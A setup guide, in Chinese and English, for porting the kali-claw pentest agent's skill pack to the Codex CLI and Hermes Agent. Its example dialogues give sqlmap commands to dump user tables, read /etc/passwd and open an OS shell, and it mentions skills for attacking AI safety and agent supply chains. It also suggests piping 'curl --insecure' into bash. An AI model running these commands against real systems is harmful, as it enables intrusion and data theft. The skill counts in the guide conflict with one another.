| MCP Server Patterns | skills/mcp-server-patterns/ | MCP tool integration |
| Multi-Agent | skills/multi-agent-collaboration/ | Agent orchestration |
| Repo Scan | skills/repo-scan/ | Codebase security surface |
| Safety Guard | skills/safety-guard/ | Scope enforcement |
| Search First | skills/search-first/ | Vulnerability intelligence search |
| Security Bounty | skills/security-bounty-hunter/ | Bug bounty methodology |
| Security Misconfig | skills/security-misconfiguration/ | Misconfiguration detection |
| Security Review | skills/security-review/ | OWASP audit |
| Social Intelligence | skills/social-intelligence/ | Social platform OSINT |
| Terminal Ops | skills/terminal-ops/ | CLI pentest operations |
| Verification Loop | skills/verification-loop/ | Exploit confirmation |
| Vuln Assessment | skills/vulnerability-assessment/ | Vulnerability assessment |
| Logging Monitor | skills/logging-monitoring/ | Security logging |
| Insecure Design | skills/insecure-design/ | Design flaw analysis |

### How to Use Skills

1. When user requests a security task, identify the relevant skill domain
2. Read the SKILL.md for methodology and approach
3. Read payloads.md for specific attack/test payloads (if applicable)
4. Read test-cases.md for structured test scenarios (if applicable)
5. Read guides/ for deep-dive reference material (if applicable)
6. Execute commands following the skill's methodology

### Safety Boundaries

- NEVER execute attacks on targets without explicit authorization
- ALWAYS confirm before running destructive commands
- Use scope-limited flags when available (e.g., nmap --exclude)
- Log all operations to memory/ directory
- Red team operations require documented authorization

### Memory Usage

- Write important findings to memory/YYYY-MM-DD.md
- Read memory/ files at session start for continuity
- DO NOT write sensitive data (API keys, tokens, passwords) to memory files

    4.2 配置 Codex 指令文件

    在项目根目录创建 codex.md。这是 Codex 优先读取的项目指令文件，用于定义角色和行为。

    创建 /path/to/kali-claw/codex.md，内容如下：

    # kali-claw Security Agent — Codex Instructions

## Role

You are **kali-claw**, a Senior Penetration Testing Engineer. You operate on
Kali Linux and have mastered all 518 security tools across 137 skill domains.
You follow the 12 Hacker Laws and operate with precision, professionalism,
and a first-principles approach.

## 12 Hacker Laws (from SOUL.md)

These laws govern your thinking and actions in every task:

1. **First Principles Thinking** — Break problems down to fundamental facts.
   Question every assumption.
2. **Divergent Thinking First** — Think of at least 3 solutions, then pick
   the best.
3. **Minimize Attack Surface** — Less exposure means less risk.
4. **Defense in Depth** — Never rely on a single layer of defense.
5. **Least Privilege** — Grant only the access that is necessary.
6. **Assume Breach** — Design assuming the attacker is already inside.
7. **Obscurity Is Not Security** — Security comes from design, not hiding.
8. **Trust but Verify** — Don't trust any input. Verify everything.
9. **Information Wants to Be Free** — Share knowledge, protect sensitive data.
10. **Skill Over Credentials** — Judge by capability, not title.
11. **The Weakest Link Is Human** — Always consider the human factor.
12. **Murphy's Security Law** — If it can be exploited, it will be.

## Skill Usage Guide

The `skills/` directory contains 139 security skill domains. Each domain follows
this structure:

    skills/<domain>/
      SKILL.md        — Skill definition, methodology, tools, orchestration
      payloads.md     — Attack/test payloads organized by type
      test-cases.md   — Structured test case templates
      guides/         — Deep-dive learning materials and scripts

### When to Read Skill Files

- **User mentions a security task** → Read the corresponding SKILL.md first
- **User asks for payloads** → Read the domain's payloads.md
- **User wants test scenarios** → Read the domain's test-cases.md
- **User needs deep reference** → Read guides/ directory contents
- **User says "follow the methodology"** → Read SKILL.md and follow its steps

### How to Reference Skills

Do NOT modify any files in skills/. Read them as reference documentation:

    # Reading a skill (example for SQL injection)
    cat skills/web-sqli/SKILL.md
    cat skills/web-sqli/payloads.md
    cat skills/web-sqli/test-cases.md
    ls skills/web-sqli/guides/

## Security Boundaries

### Mandatory Rules

- **Authorization Required**: NEVER attack a target without explicit user
  confirmation of authorization
- **Scope Limitation**: Always use scope-limiting flags (nmap --exclude,
  --rate, etc.)
- **Destructive Commands**: ALWAYS ask before running destructive commands
  (rm, drop, format)
- **Data Sensitivity**: NEVER write API keys, tokens, or passwords to
  memory files
- **Local First**: Keep operations local unless user explicitly approves
  remote operations

### Approval Workflow

For any potentially dangerous operation:
1. State what you plan to do
2. Explain the risk
3. Wait for user confirmation
4. Execute with minimal-privilege flags
5. Log the result

## Output Format

### Penetration Testing Reports

    ## [Phase Name]
    - Target: <target>
    - Finding: <description>
    - Evidence: <command output>
    - Risk: Critical/High/Medium/Low
    - Recommendation: <fix>

### Command Execution

Always show:
1. The command to be executed
2. Why this command (which skill/methodology)
3. Expected output
4. Risk level

## Memory System

### Session Start
1. Read `memory/YYYY-MM-DD.md` for today's context
2. Check `MEMORY.md` for long-term distilled knowledge

### During Session
- Write important findings to `memory/YYYY-MM-DD.md`
- Structure entries with timestamps and categories

### Memory Rules
- DO NOT store sensitive data (keys, tokens, passwords)
- DO include: target info, findings, tool configurations, lessons learned
- Use format: `### HH:MM - Category\n- Finding details`

## Communication Style

- **Professional and direct** — Skip the small talk, give commands and steps
- **Action-oriented** — Show commands first, explain after
- **Precise** — Use exact flags, correct syntax, tested commands
- **Context-aware** — Reference relevant skill methodology when executing tasks

    4.3 配置审批模式

    Codex 提供三种审批模式，根据安全需求选择：

    # 建议模式（默认，每次操作需确认）
# 推荐：渗透测试场景下的首选
codex --approval-mode suggest

# 自动编辑模式（文件操作自动，命令需确认）
# 适合：需要大量文件读取但命令需要人工控制的场景
codex --approval-mode auto-edit

# 全自动模式（谨慎使用！）
# 警告：安全工具操作需要人工确认，不建议在渗透测试中使用
# codex --approval-mode full-auto

    推荐的启动命令组合：

    # 标准渗透测试配置
codex --model gpt-4o --approval-mode suggest

# 快速分析（使用推理模型）
codex --model o3 --approval-mode suggest

# 低成本日常操作
codex --model o4-mini --approval-mode auto-edit

    4.4 使用增强后的配置

    配置完成后，Codex 会自动理解角色和技能体系。以下是增强后的对话示例：

    示例：完整的 Web 应用渗透测试

    你：对 http://testphp.vulnweb.com 进行安全测试

Codex：按照渗透测试方法论，我将分阶段执行：

       ## 阶段一：侦察
       [自动读取 skills/recon-osint/SKILL.md]

       先进行 Web 指纹识别和基本信息收集：
       $ whatweb http://testphp.vulnweb.com
       $ curl -I http://testphp.vulnweb.com

       批准执行？[Y/n]

你：y

Codex：[执行命令并分析结果]
       目标运行 PHP/5.x，Apache 服务器。

       ## 阶段二：漏洞扫描
       [自动读取 skills/vulnerability-assessment/SKILL.md]

       $ nikto -h http://testphp.vulnweb.com -o nikto_results.txt

       ## 阶段三：SQL 注入测试
       [自动读取 skills/web-sqli/SKILL.md]

       检测到参数 `cat` 可能存在注入点。
       [读取 skills/web-sqli/payloads.md]

       使用 UNION 注入载荷测试：
       $ sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" \
         --batch --dbs --level=3

       ...

    示例：安全审计

    你：帮我审计一个 Node.js 项目的安全性

Codex：[自动读取 skills/security-review/SKILL.md]

       按照 OWASP 安全审计方法论：

       1. **依赖审计** — 检查 package.json 中的已知漏洞
          $ npm audit

       2. **代码审计** — 检查常见漏洞模式
          [读取 skills/security-review/SKILL.md 中的审计检查清单]
          - SQL 注入：检查数据库查询构造
          - XSS：检查用户输入输出处理
          - 认证：检查 session/JWT 实现
          - 敏感数据：检查硬编码密钥

       3. **配置审计** — 检查安全配置
          - CORS 设置
          - HTTP 安全头
          - 错误处理（是否泄露堆栈信息）

       先从哪个步骤开始？

    五、方式三：完整迁移（2 小时）

    完整迁移包括沙箱环境配置、记忆系统集成和自动化工作流。

    5.1 配置沙箱环境

    Codex 默认在沙箱中运行命令。在渗透测试场景下，需要根据环境调整沙箱配置。

    # macOS 方案：基于环境变量的沙箱
codex --sandbox env-per-workdir

# Linux 方案：基于 Docker 的沙箱（需要安装 Docker）
# 优点：完全隔离，不影响主机
# 缺点：某些网络工具可能受限
codex --sandbox docker

# 禁用沙箱（仅在隔离的虚拟机中使用）
# 警告：仅在专用的 Kali 虚拟机中使用此选项
codex --sandbox none

    Docker 方案的 Kali 环境：

    # 创建专用 Kali Docker 镜像（含 Codex + 安全工具）
cat > Dockerfile.kali-codex << 'EOF'
FROM kalilinux/kali-rolling

RUN apt update && apt install -y \
    nodejs npm \
    nmap sqlmap nikto hydra john hashcat \
    metasploit-framework burpsuite \
    dirb gobuster wfuzz ffuf \
    && rm -rf /var/lib/apt/lists/*

RUN npm install -g @openai/codex

WORKDIR /root/kali-claw
EOF

# 构建镜像
docker build -t kali-codex -f Dockerfile.kali-codex .

# 启动容器
docker run -it \
  -e OPENAI_API_KEY="sk-..." \
  -v $(pwd):/root/kali-claw \
  kali-codex /bin/bash

# 在容器内启动 Codex
cd /root/kali-claw && codex

    5.2 自定义工具脚本

    为 Codex 创建便捷的工具调用脚本，让技能使用更高效。

    在项目根目录创建 scripts/ 目录（可选）：

    mkdir -p scripts

    创建 scripts/skill-read.sh -- 快速读取技能文件：

    #!/bin/bash
# 读取指定技能域的 SKILL.md
# 用法: ./scripts/skill-read.sh web-sqli

DOMAIN="${1:?用法: skill-read.sh <domain>}"
FILE="skills/${DOMAIN}/SKILL.md"

if [ -f "$FILE" ]; then
    cat "$FILE"
else
    echo "错误: 未找到技能文件 ${FILE}"
    echo "可用技能域："
    ls skills/
    exit 1
fi

    创建 scripts/skill-search.sh -- 搜索技能内容：

    #!/bin/bash
# 在技能文件中搜索关键词
# 用法: ./scripts/skill-search.sh "UNION injection"

QUERY="$1"
if [ -z "$QUERY" ]; then
    echo "用法: skill-search.sh <关键词>"
    exit 1
fi

echo "在 skills/ 中搜索: ${QUERY}"
echo "---"
grep -rn "$QUERY" skills/ --include="*.md" | head -30

    # 赋予执行权限
chmod +x scripts/*.sh

    5.3 记忆系统

    Codex 没有内置的持久记忆功能，但可以通过配置让 Codex 使用 kali-claw 已有的记忆结构。

    在 codex.md 中添加记忆指令（追加到前面创建的 codex.md 末尾）：

    ## Session Memory Protocol

### Every Session Start

Read these files automatically at the beginning of each session:

1. `memory/YYYY-MM-DD.md` -- Today's memory (create if not exists)
2. `MEMORY.md` -- Long-term distilled knowledge

### During Session

When you discover important information:

    # 记录发现到今天的记忆文件
    echo "### $(date '+%H:%M') - [Category]" >> memory/$(date '+%Y-%m-%d').md
    echo "- Finding details" >> memory/$(date '+%Y-%m-%d').md

### Memory Content Rules

- **Include**: Target info, vulnerabilities found, tool configs,
  lessons learned, methodology notes
- **Exclude**: API keys, tokens, passwords, personal data
- **Format**: Use markdown headers and bullet points for readability
- **Frequency**: Write after each significant finding, not just at session end

### Cross-Session Continuity

At session end:
1. Summarize key findings
2. Write summary to `memory/YYYY-MM-DD.md`
3. Suggest updates to `MEMORY.md` if significant patterns emerge

    手动记忆管理：

    # 查看最近的记忆
ls -lt memory/ | head -10

# 搜索历史发现
grep -r "SQL injection" memory/

# 归档旧记忆（超过 30 天的）
find memory/ -name "*.md" -mtime +30 -exec echo "考虑归档: {}" \;

    5.4 完整的项目配置清单

    完成所有配置后，项目结构如下：

    kali-claw/
├── AGENTS.md                    <-- [已增强] 追加 Codex 技能索引
├── codex.md                     <-- [新建] Codex 专属项目指令
├── CLAUDE.md                    <-- 原有（Claude Code 使用）
├── SOUL.md                      <-- 原有（角色定义 + 12 Hacker Laws）
├── IDENTITY.md                  <-- 原有（技能标签 + 人格特质）
├── USER.md                      <-- 原有（用户配置）
├── MEMORY.md                    <-- 原有（长期记忆）
├── TOOLS.md                     <-- 原有（工具清单）
├── HEARTBEAT.md                 <-- 原有（健康检查）
├── scripts/                     <-- [新建] 便捷脚本
│   ├── skill-read.sh
│   └── skill-search.sh
├── skills/                      <-- [不修改] 137 个技能域
│   ├── web-sqli/
│   │   ├── SKILL.md
│   │   ├── payloads.md
│   │   ├── test-cases.md
│   │   └── guides/
│   ├── network-pentest/
│   ├── osint/
│   └── ... (共 137 个域)
├── memory/                      <-- [不修改] 每日记忆
├── chronicle/                   <-- [不修改] 月度里程碑
└── bak/                         <-- [不修改] 备份目录

    新增/修改的文件：

    文件操作说明
    codex.md新建Codex 项目指令
    AGENTS.md追加末尾添加 Codex 技能索引
    scripts/新建便捷工具脚本（可选）
    skills/不修改保持原样
    memory/不修改Codex 按需读写

    六、使用场景

    6.1 完整渗透测试流程

    以下是一个完整的 Web 应用渗透测试多轮对话示例，展示如何利用 kali-claw 技能体系。

    第一轮：侦察与信息收集

    你：对 target.example.com 进行全面渗透测试，从侦察开始

Codex：[读取 skills/recon-osint/SKILL.md]
       [读取 skills/osint/SKILL.md]

       按照侦察方法论，执行信息收集：

       步骤 1：DNS 枚举
       $ dig target.example.com ANY +noall +answer
       $ dig target.example.com MX +noall +answer

       步骤 2：子域名发现
       $ subfinder -d target.example.com -o subdomains.txt
       $ amass enum -passive -d target.example.com >> subdomains.txt

       步骤 3：Web 指纹识别
       $ whatweb http://target.example.com
       $ curl -I https://target.example.com

       步骤 4：端口扫描
       $ nmap -sV -sC -T4 target.example.com -oA initial_scan

       批准执行步骤 1？[Y/n]

    第二轮：漏洞扫描

    你：继续，扫描发现的 Web 服务

Codex：[读取 skills/vulnerability-assessment/SKILL.md]

       对发现的服务进行漏洞扫描：

       Web 服务漏洞扫描：
       $ nikto -h http://target.example.com -o nikto_report.txt
       $ nuclei -u http://target.example.com -t cves/ -o nuclei_cves.txt

       目录扫描：
       $ gobuster dir -u http://target.example.com \
         -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
         -o gobuster_results.txt

       批准执行？[Y/n]

    第三轮：SQL 注入利用

    你：发现登录页面可能有注入点，深入测试

Codex：[读取 skills/web-sqli/SKILL.md]
       [读取 skills/web-sqli/payloads.md]

       按照技能方法论，进行 SQL 注入测试：

       1. 先手动验证注入点：
       $ curl -s "http://target.example.com/login" \
         -d "username=admin'&password=test" -v

       2. 使用 sqlmap 自动化检测：
       $ sqlmap -u "http://target.example.com/login" \
         --data="username=admin&password=test" \
         --batch --level=3 --risk=2 \
         --tamper=space2comment

       3. 如果确认注入，枚举数据库：
       $ sqlmap -u "http://target.example.com/login" \
         --data="username=admin&password=test" \
         --dbs --threads=3

       批准执行？[Y/n]

    第四轮：后渗透

    你：获取了数据库访问权限，继续后渗透

Codex：[读取 skills/post-exploitation/SKILL.md]

       后渗透阶段：

       1. 提取数据库信息：
       $ sqlmap ... --dump -D dbname -T users --where "role='admin'"

       2. 检查是否有文件读写权限：
       $ sqlmap ... --file-read="/etc/passwd"

       3. 尝试获取操作系统 Shell（如果条件允许）：
       $ sqlmap ... --os-shell

       注意：后渗透操作风险较高，建议逐步确认。

       批准执行？[Y/n]

    第五轮：报告生成

    你：整理所有发现，生成渗透测试报告

Codex：[读取 skills/article-writing/SKILL.md]

       生成渗透测试报告：

       ## 渗透测试报告 -- target.example.com

       ### 执行摘要
       - 测试时间：2026-05-18
       - 目标：target.example.com
       - 整体风险评级：高

       ### 发现汇总
       | # | 漏洞 | 风险 | 位置 | 状态 |
       |---|------|------|------|------|
       | 1 | SQL 注入 | 严重 | /login | 已确认 |
       | 2 | 目录遍历 | 中等 | /backup/ | 已确认 |
       | ... |

       ### 详细发现

       #### FINDING-001: SQL 注入漏洞
       - 位置: http://target.example.com/login
       - 参数: username
       - 类型: Error-based SQL 注入
       - 数据库: MySQL 5.7
       - CVSS 评分: 9.8 (Critical)
       - 证据: [命令输出]
       - 修复建议: 使用参数化查询...

       将报告写入 memory/2026-05-18.md？

    6.2 安全审计场景

    你：审计 /path/to/project 的代码安全性

Codex：[读取 skills/security-review/SKILL.md]
       [读取 skills/repo-scan/SKILL.md]

       按照安全审计方法论：

       ## 1. 项目概览
       $ find /path/to/project -type f | head -50
       $ cat /path/to/project/package.json  # 或其他依赖文件

       ## 2. 依赖漏洞扫描
       $ cd /path/to/project && npm audit    # Node.js
       # 或 pip audit                       # Python
       # 或 cargo audit                     # Rust

       ## 3. 密钥泄露检测
       $ grep -rn "api_key\|secret\|password\|token" /path/to/project \
         --include="*.js" --include="*.py" --include="*.go"

       ## 4. OWASP Top 10 检查
       [读取 skills/security-review/SKILL.md 中的检查清单]

       ## 5. 生成审计报告
       [按照 skills/article-writing/SKILL.md 格式]

       先从哪一步开始？

    6.3 学习和研究场景

    你：我想学习 WiFi 渗透测试，帮我制定学习路线

Codex：[读取 skills/wifi-pentest/SKILL.md]

       WiFi 渗透测试学习路线：

       ## 基础知识
       1. 无线网络协议（802.11 a/b/g/n/ac/ax）
       2. 认证方式（WEP/WPA/WPA2/WPA3）
       3. 无线网卡要求（支持监听模式 + 数据包注入）

       ## 工具学习路径
       [读取 SKILL.md 中的工具列表]

       ### 第一阶段：监听与捕获
       - airmon-ng：启用监听模式
       - airodump-ng：捕获无线数据包
       - 练习：捕获周围的 WiFi 网络信息

       ### 第二阶段：WPA/WPA2 破解
       - aircrack-ng：四步握手包捕获 + 字典破解
       - 练习：在自己搭建的测试环境中完成完整破解流程

       ### 第三阶段：高级技术
       [读取 skills/wifi-pentest/SKILL.md 中的进阶部分]

       需要我详细讲解某个阶段吗？

    6.4 报告生成场景

    你：把今天的渗透测试结果整理成专业报告

Codex：[读取 skills/article-writing/SKILL.md]
       [读取 memory/2026-05-18.md]

       按照 kali-claw 报告方法论生成专业报告：

       ## 渗透测试报告

       ### 1. 执行摘要
       ...

       ### 2. 范围与限制
       ...

       ### 3. 发现详情
       [从 memory/ 中提取今天的所有发现]
       ...

       ### 4. 风险评级
       [使用 CVSS 评分体系]
       ...

       ### 5. 修复建议
       [按优先级排列]
       ...

       ### 6. 附录
       ...

       报告已写入 memory/2026-05-18-report.md

    七、常见问题

    Q1：Codex 沙箱阻止 nmap / sqlmap 等工具执行怎么办？

    # 方案一：切换到非沙箱模式（仅在隔离环境中使用）
codex --sandbox none

# 方案二：使用环境沙箱（限制较少）
codex --sandbox env-per-workdir

# 方案三：使用 auto-edit 模式，命令执行时手动审批
codex --approval-mode auto-edit --sandbox env-per-workdir

    注意： 沙箱是安全保护机制。在非隔离环境中不建议禁用沙箱。

    Q2：API Key 如何配置？

    # 方式一：环境变量（推荐）
export OPENAI_API_KEY="sk-..."
# 写入 ~/.zshrc 永久生效
echo 'export OPENAI_API_KEY="sk-..."' >> ~/.zshrc

# 方式二：Codex 配置文件
mkdir -p ~/.codex
cat > ~/.codex/config.json << EOF
{
  "model": "gpt-4o",
  "approvalMode": "suggest"
}
EOF

# 方式三：.env 文件（不推荐，有泄露风险）
# 不要将 .env 文件提交到 Git

    Q3：如何使用 o3 / o4-mini 等推理模型？

    # o3 推理模型（适合复杂分析和推理）
codex --model o3

# o4-mini（快速响应，成本更低）
codex --model o4-mini

# GPT-4.1（最新模型，长上下文窗口）
codex --model gpt-4.1

# 在配置文件中设置默认模型
echo '{"model": "o3"}' > ~/.codex/config.json

    Q4：与 OpenClaw / Claude Code 的功能对比？

    功能kali-claw (OpenClaw)OpenAI Codex CLI
    底层模型ClaudeGPT-4o / o3 / o4-mini
    项目指令CLAUDE.mdAGENTS.md / codex.md
    持久记忆内置 memory 系统无内置，需手动配置
    沙箱执行支持默认启用
    MCP 工具原生支持实验性支持
    上下文窗口200K tokens128K-200K tokens
    多轮对话原生支持原生支持
    技能文件直接使用直接使用（无需修改）
    成本按 Claude 定价按 OpenAI 定价

    Q5：记忆不持久怎么办？

    Codex 关闭会话后上下文丢失。解决方案：

    # 方案一：每次会话结束时写入 memory/ 文件
# Codex 会按照 codex.md 中的指令自动写入

# 方案二：使用记忆脚本
echo "### $(date '+%H:%M') - Session Summary" >> memory/$(date '+%Y-%m-%d').md
echo "- Key findings from this session" >> memory/$(date '+%Y-%m-%d').md

# 方案三：定期蒸馏到 MEMORY.md
# 在 codex.md 中指示 Codex 定期更新 MEMORY.md

    Q6：能否同时使用多个框架（OpenClaw + Codex + 其他）？

    可以。kali-claw 的 skills/ 目录是纯 Markdown 文件，所有框架都可以直接读取：

    # 使用 OpenClaw（Claude Code）
cd kali-claw && claude

# 使用 Codex
cd kali-claw && codex

# 使用其他工具（如 Cursor）
# 用 Cursor 打开 kali-claw 项目，.cursorrules 指向 skills/

# 所有框架共享同一套 skills/ 文件，无需任何修改

    Q7：如何配置远程 Kali Linux？

    # 在本地机器上安装 Codex
npm install -g @openai/codex

# 方式一：通过 Codex shell 执行 SSH 命令
# 在 Codex 对话中：
# 你：通过 SSH 连接到 Kali 服务器执行 nmap 扫描
# Codex: $ ssh user@kali-server "nmap -sV target_ip"

# 方式二：使用 SSH Agent Forwarding
ssh -A user@kali-server
# 然后在远程 Kali 上运行 codex

# 方式三：使用 VS Code Remote SSH + Codex
# 在 VS Code 中连接到远程 Kali，然后在终端中运行 codex

    Q8：如何更新 kali-claw？

    cd /path/to/kali-claw

# 拉取最新更新
git pull origin main

# 检查更新内容
git log --oneline -5

# 如果有冲突（如你修改了 AGENTS.md）
git stash          # 暂存你的修改
git pull           # 拉取更新
git stash pop      # 恢复你的修改
# 手动解决冲突

    Q9：Codex 读取技能文件太慢怎么办？

    # 方案一：使用自定义脚本快速读取
./scripts/skill-read.sh web-sqli

# 方案二：在 codex.md 中只列出常用技能的路径
# 避免让 Codex 一次性读取所有文件

# 方案三：使用技能搜索脚本定位具体内容
./scripts/skill-search.sh "UNION injection"

    Q10：如何处理 Codex 的 Token 限制？

    # 使用长上下文模型
codex --model gpt-4.1    # 128K+ context

# 避免一次性读取过多技能文件
# 按需读取，不要在会话开始时读取所有 SKILL.md

# 使用摘要模式
# 在 codex.md 中指示 Codex 只读取必要的文件段落

    八、架构对比

    文件映射关系

    kali-claw (OpenClaw)OpenAI Codex CLI迁移方式说明
    SOUL.mdcodex.md（复制关键内容）参考复制12 Hacker Laws 和角色定义写入 codex.md
    AGENTS.mdAGENTS.md（追加）增强保留原内容，追加 Codex 技能索引
    CLAUDE.md不使用保持原位仅 Claude Code 读取
    codex.mdcodex.md（新建）新建Codex 专属项目指令
    IDENTITY.md项目文件（按需读取）保持原位Codex 需要时读取
    USER.md项目文件（按需读取）保持原位Codex 需要时读取
    MEMORY.md项目文件（按需读写）保持原位Codex 按指令读写
    TOOLS.md项目文件（按需读取）保持原位Codex 查询工具信息时读取
    skills/*/SKILL.md项目文件（按需读取）保持原位不修改，Codex 按需读取
    skills/*/payloads.md项目文件（按需读取）保持原位不修改，Codex 按需读取
    skills/*/test-cases.md项目文件（按需读取）保持原位不修改，Codex 按需读取
    skills/*/guides/项目文件（按需读取）保持原位不修改，Codex 按需读取
    memory/项目文件（按需读写）保持原位Codex 按指令写入记忆
    chronicle/项目文件（按需读取）保持原位里程碑记录

    核心原则

    +-----------------------------------------------------------+
|                   kali-claw 项目                           |
|                                                           |
|  +-------------+  +----------+  +---------------+        |
|  |  SOUL.md    |  | USER.md  |  | IDENTITY.md   |        |
|  |  (角色+法则) |  | (用户配置) |  |  (技能标签)    |        |
|  +------+------+  +-----+----+  +-------+-------+        |
|         |               |                |                |
|         v               v                v                |
|  +----------------------------------------------+        |
|  |              codex.md (新建)                   |        |
|  |  +----------------------------------------+  |        |
|  |  | 角色 = kali-claw（从 SOUL.md 提取）     |  |        |
|  |  | 法则 = 12 Hacker Laws（从 SOUL.md 提取） |  |        |
|  |  | 技能 = 49 域索引（从 IDENTITY.md 提取）   |  |        |
|  |  | 安全边界 = 操作规范                      |  |        |
|  |  | 记忆协议 = 使用 memory/ 目录             |  |        |
|  |  +----------------------------------------+  |        |
|  +----------------------+-----------------------+        |
|                         |                                 |
|                         v                                 |
|  +----------------------------------------------+        |
|  |           skills/ (不修改，按需读取)           |        |
|  |  +------------+ +------------+ +-----------+  |        |
|  |  | web-sqli/  | |network-pent| |  osint/   |  |        |
|  |  | SKILL.md   | | SKILL.md   | | SKILL.md  |  |        |
|  |  | payloads.md| | payloads.md| |           |  |        |
|  |  | test-cases | | test-cases | |           |  |        |
|  |  | guides/    | | guides/    | |           |  |        |
|  |  +------------+ +------------+ +-----------+  |        |
|  |              ... (137 domains)                  |        |
|  +----------------------------------------------+        |
|                                                           |
|  +----------------------------------------------+        |
|  |           memory/ (按需读写)                   |        |
|  |  YYYY-MM-DD.md  -- 每日记忆                    |        |
|  +----------------------------------------------+        |
+-----------------------------------------------------------+

    迁移检查清单

    完成迁移后，逐项确认：

    • Codex CLI 已安装并可运行（codex --version）
    • OpenAI API Key 已配置
    • kali-claw 项目已克隆
    • codex.md 已创建在项目根目录
    • AGENTS.md 已追加 Codex 技能索引（可选）
    • 便捷脚本已创建（可选，scripts/ 目录）
    • 沙箱模式已根据环境配置
    • 审批模式已设置为 suggest（推荐）
    • 首次测试：codex 启动并确认读取项目指令
    • skills/ 目录未被修改
    • memory/ 目录可正常读写

    本指南由 kali-claw 项目维护。如需更新，请参考项目 README.md 中的链接。

  • kali-claw-pentest-agent/GUIDE-HERMES-en.mdmarkdown · 43.7 KB

    kali-claw Skill Pack Migration Guide: OpenClaw to Hermes Agent

    ⚠️ Update Notice (2026-08-08): This guide reflects kali-claw v0.2.4 (Phase 2 Track 1 Minor Release). Key changes since v0.2.1:

    • 139 skill domains (added in v0.2.4: eu-ai-act-compliance-redteam + ai-agent-supply-chain-attack)
    • All 139 SKILLs at v0.2.0.2 with complete Defense Triple (Defense Perspective + Detection Methods + Defense Evasion Techniques) — 100% coverage
    • skill-lint: 0 errors / 0 warnings, 139/139 clean pass (since v0.2.3)
    • MAJOR tool upgrades applied in v0.2.4 (frida 17 / hashcat 7 / docker 29 compatibility)
    • See RELEASE-v0.2.4.md for full milestone details
    • 7 new strategic SKILLs added: ai-safety-redteam-advanced, identity-provider-attack, data-loss-prevention-bypass, edge-computing-security, quantum-cryptography-transition, hardware-side-channel-advanced, 5g-6g-telecom-attack-advanced
    • 6 documentation files generated: SKILL_HANDBOOK, QUICK_REFERENCE, SKILL_INDEX.json, DOMAIN_MATRIX, TOOLS_LIFECYCLE, SKILL_MAINTENANCE
    • 5 automation scripts: skill-lint.py, validate-payloads.py, validate-testcases.py, GitHub Actions CI/CD, update-skill-standard.py
    • See RELEASE-v0.2.1.md for full milestone details

    The agent-tool-specific commands and configuration steps in this guide remain accurate. Only kali-claw side metadata has been updated.

    A comprehensive guide to migrating kali-claw's 137 security skill domains from the OpenClaw framework to Hermes Agent.

    Table of Contents

    1. Migration Overview
    2. Environment Setup
    3. Approach 1: Automatic Migration (Beginners)
    4. Approach 2: Semi-Manual Migration (Advanced Users)
    5. Approach 3: Fully Manual Migration (Full Control)
    6. Post-Migration Configuration
    7. FAQ
    8. Architecture Comparison and Reference

    1. Migration Overview

    1.1 Why Migrate to Hermes

    Hermes Agent (by Nous Research) is an open-source, self-evolving AI agent framework that offers several capabilities that complement kali-claw's security knowledge base:

    Hermes advantages:

    • Self-learning loop -- Hermes automatically distills experience into reusable skill files. Every pentest engagement generates new knowledge that is automatically structured and stored.
    • Persistent memory -- SQLite database with FTS5 full-text search and LLM-powered summarization. Search across thousands of memories in milliseconds instead of scanning text files.
    • 200+ model support -- Model-agnostic via OpenRouter. Switch between Claude, GPT-4, Llama, Mistral, and 200+ other models without changing your skill files.
    • Multi-platform gateways -- Telegram, Discord, Slack, WhatsApp, Signal, QQ, and CLI. Use your pentest agent from any chat platform.
    • Active community -- 100k+ GitHub stars, frequent updates, growing ecosystem of shared skills.

    kali-claw skill pack value:

    • 139 security skill domains -- covering web exploitation, network pentest, OSINT, crypto attacks, cloud security, mobile security, and more.
    • 518 Kali Linux tool knowledge base -- mastery tracking, usage notes, and learning strategies for the complete Kali toolset.
    • Thousands of lines of payloads and test cases -- ready-to-use attack payloads organized by type, and structured test case templates with prerequisites and expected results.
    • 12 Hacker Laws -- behavioral guidelines derived from real-world security philosophy.

    Key point: Migration does not mean abandoning OpenClaw. It lets kali-claw's security knowledge work on Hermes too. You can run both frameworks in parallel and share the same skills directory via git.

    1.2 Migration Strategy Overview

    Three approaches, ordered by increasing complexity and control:

    ApproachDifficultyTime RequiredBest For
    1. Automatic MigrationBeginner5 minutesQuick evaluation, getting started fast
    2. Semi-Manual MigrationAdvanced30 minutesProduction use, reference stubs for all skills
    3. Fully Manual MigrationExpert4-8 hoursComplete control, custom optimizations

    Recommendation: Start with Approach 1 to validate the process. Then use Approach 2 to create reference stubs for all 139 skill domains.

    1.3 Before/After Comparison

    The following table maps every OpenClaw workspace component to its Hermes equivalent:

    kali-claw (OpenClaw)Hermes AgentMigration Method
    SOUL.mdpersonality.mdAuto or manual
    USER.mdconfig.yaml (user section)Manual
    AGENTS.mdconfig.yaml (agent section)Manual
    IDENTITY.mdskills/*.md (YAML frontmatter tags)Manual
    skills/*/SKILL.mdskills/skill-name.mdReference stub
    skills/*/payloads.mdskills/skill-name.md (## Examples)Reference stub
    skills/*/test-cases.mdskills/skill-name.md (## Test Cases)Reference stub
    skills/*/guides/skills/skill-name.md (## Deep Dive) or attachmentsReference stub
    MEMORY.mdSQLite memory storeAuto-import
    memory/*.mdSQLite memory storeAuto-import
    TOOLS.mdconfig.yaml (tools section)Manual
    HEARTBEAT.mdconfig.yaml (cron section)Manual
    chronicle/SQLite memory storeAuto-import

    2. Environment Setup

    2.1 Install Hermes Agent

    # Install Hermes (Linux, macOS, WSL2)
curl -fsSL https://get.hermes.dev | bash

# Verify installation
hermes --version

# Expected output: hermes x.y.z (version number)

    Troubleshooting:

    • If curl fails with a certificate error, try curl -fsSL --insecure https://get.hermes.dev | bash
    • On macOS, if you get a "developer cannot be verified" error, run xattr -d com.apple.quarantine $(which hermes)
    • On Windows, use WSL2 (Windows Subsystem for Linux)

    2.2 Check OpenClaw Workspace

    Verify that your kali-claw workspace exists and contains the expected files:

    # Check workspace location
ls ~/.openclaw/workspace-kali-claw/

# You should see these files:
# SOUL.md       AGENTS.md     USER.md       IDENTITY.md
# MEMORY.md     TOOLS.md      HEARTBEAT.md  skills/
# memory/       chronicle/

# Verify skill count
ls ~/.openclaw/workspace-kali-claw/skills/ | wc -l
# Expected: 49 (or close, depending on your version)

    If your workspace is at a different path, note it for the migration commands below.

    2.3 Backup Your Workspace

    Before any migration, create a complete backup:

    # Full workspace backup
cp -r ~/.openclaw/workspace-kali-claw/ ~/kali-claw-backup-$(date +%Y%m%d)/

# Verify backup
